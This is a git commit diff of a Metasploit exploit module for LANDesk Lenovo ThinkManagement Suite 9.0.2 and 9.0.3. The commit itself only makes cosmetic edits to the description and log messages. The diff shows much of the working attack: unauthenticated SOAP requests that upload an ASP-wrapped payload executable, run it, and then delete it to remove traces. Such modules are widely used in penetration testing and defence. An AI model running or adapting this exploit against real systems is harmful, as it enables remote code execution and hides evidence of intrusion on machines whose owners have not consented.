Cosmetic changes, mostly :-)

unstable
sinn3r 2012-04-07 14:47:23 -05:00
parent 00ff2e3dc1
commit 05eba0ab4c
1 changed files with 20 additions and 16 deletions

View File

@ -19,13 +19,15 @@ class Metasploit3 < Msf::Exploit::Remote
'Description' => %q{ 'Description' => %q{
This module can be used to execute a payload on LANDesk Lenovo This module can be used to execute a payload on LANDesk Lenovo
ThinkManagement Suite 9.0.2 and 9.0.3. ThinkManagement Suite 9.0.2 and 9.0.3.
The payload is uploaded as an ASP script sending a specially crafted
The payload is uploaded as an ASP script by sending a specially crafted
SOAP request to "/landesk/managementsuite/core/core.anonymous/ServerSetup.asmx" SOAP request to "/landesk/managementsuite/core/core.anonymous/ServerSetup.asmx"
specifying a "RunAMTCommand" operation with the command '-PutUpdateFileCore' , via a "RunAMTCommand" operation with the command '-PutUpdateFileCore'
as argument. as the argument.
After execution the ASP script with the payload is deleted sending a
specially crafted SOAP request to "WSVulnerabilityCore/VulCore.asmx" After execution, the ASP script with the payload is deleted by sending
specifying a "SetTaskLogByFile" operation. another specially crafted SOAP request to "WSVulnerabilityCore/VulCore.asmx"
via a "SetTaskLogByFile" operation.
}, },
'Author' => [ 'Author' => [
'Andrea Micalizzi', # aka rgod - Vulnerability Discovery and PoC 'Andrea Micalizzi', # aka rgod - Vulnerability Discovery and PoC
@ -60,6 +62,8 @@ class Metasploit3 < Msf::Exploit::Remote
def exploit def exploit
peer = "#{rhost}:#{rport}"
# Generate the ASP containing the EXE containing the payload # Generate the ASP containing the EXE containing the payload
exe = generate_payload_exe exe = generate_payload_exe
asp = Msf::Util::EXE.to_exe_asp(exe) asp = Msf::Util::EXE.to_exe_asp(exe)
@ -90,7 +94,7 @@ class Metasploit3 < Msf::Exploit::Remote
# UPLOAD # UPLOAD
# #
attack_url = uri_path + "landesk/managementsuite/core/core.anonymous/ServerSetup.asmx" attack_url = uri_path + "landesk/managementsuite/core/core.anonymous/ServerSetup.asmx"
print_status("Uploading #{asp.length} bytes through #{attack_url}...") print_status("#{peer} - Uploading #{asp.length} bytes through #{attack_url}...")
res = send_request_cgi({ res = send_request_cgi({
'uri' => attack_url, 'uri' => attack_url,
@ -103,9 +107,9 @@ class Metasploit3 < Msf::Exploit::Remote
}, 20) }, 20)
if (! res) if (! res)
print_status("Timeout - Trying to execute the payload anyway") print_status("#{peer} - Timeout: Trying to execute the payload anyway")
elsif (res.code < 200 or res.code >= 300) elsif (res.code < 200 or res.code >= 300)
print_error("Upload failed on #{attack_url} [#{res.code} #{res.message}]") print_error("#{peer} - Upload failed on #{attack_url} [#{res.code} #{res.message}]")
return return
end end
@ -113,7 +117,7 @@ class Metasploit3 < Msf::Exploit::Remote
# EXECUTE # EXECUTE
# #
upload_path = uri_path + "ldlogon/#{upload_random}.asp" upload_path = uri_path + "ldlogon/#{upload_random}.asp"
print_status("Executing #{upload_path}...") print_status("#{peer} - Executing #{upload_path}...")
res = send_request_cgi({ res = send_request_cgi({
'uri' => upload_path, 'uri' => upload_path,
@ -121,12 +125,12 @@ class Metasploit3 < Msf::Exploit::Remote
}, 20) }, 20)
if (! res) if (! res)
print_error("Execution failed on #{upload_path} [No Response]") print_error("#{peer} - Execution failed on #{upload_path} [No Response]")
return return
end end
if (res.code < 200 or res.code >= 300) if (res.code < 200 or res.code >= 300)
print_error("Execution failed on #{upload_path} [#{res.code} #{res.message}]") print_error("#{peer} - Execution failed on #{upload_path} [#{res.code} #{res.message}]")
return return
end end
@ -148,23 +152,23 @@ class Metasploit3 < Msf::Exploit::Remote
eos eos
attack_url = uri_path + "WSVulnerabilityCore/VulCore.asmx" attack_url = uri_path + "WSVulnerabilityCore/VulCore.asmx"
print_status("Deleting #{upload_path} through #{attack_url}...") print_status("#{peer} - Deleting #{upload_path} through #{attack_url}...")
res = send_request_cgi({ res = send_request_cgi({
'uri' => attack_url, 'uri' => attack_url,
'method' => 'POST', 'method' => 'POST',
'ctype' => 'text/xml; charset=utf-8', 'ctype' => 'text/xml; charset=utf-8',
'headers' => { 'headers' => {
'SOAPAction' => "\"http://tempuri.org/SetTaskLogByFile\"", 'SOAPAction' => "\"http://tempuri.org/SetTaskLogByFile\"",
}, },
'data' => soap, 'data' => soap,
}, 20) }, 20)
if (! res) if (! res)
print_error("Deletion failed on #{attack_url} [No Response]") print_error("#{peer} - Deletion failed at #{attack_url} [No Response]")
return return
elsif (res.code < 200 or res.code >= 300) elsif (res.code < 200 or res.code >= 300)
print_error("Deletion failed on #{attack_url} [#{res.code} #{res.message}]") print_error("#{peer} - Deletion failed at #{attack_url} [#{res.code} #{res.message}]")
return return
end end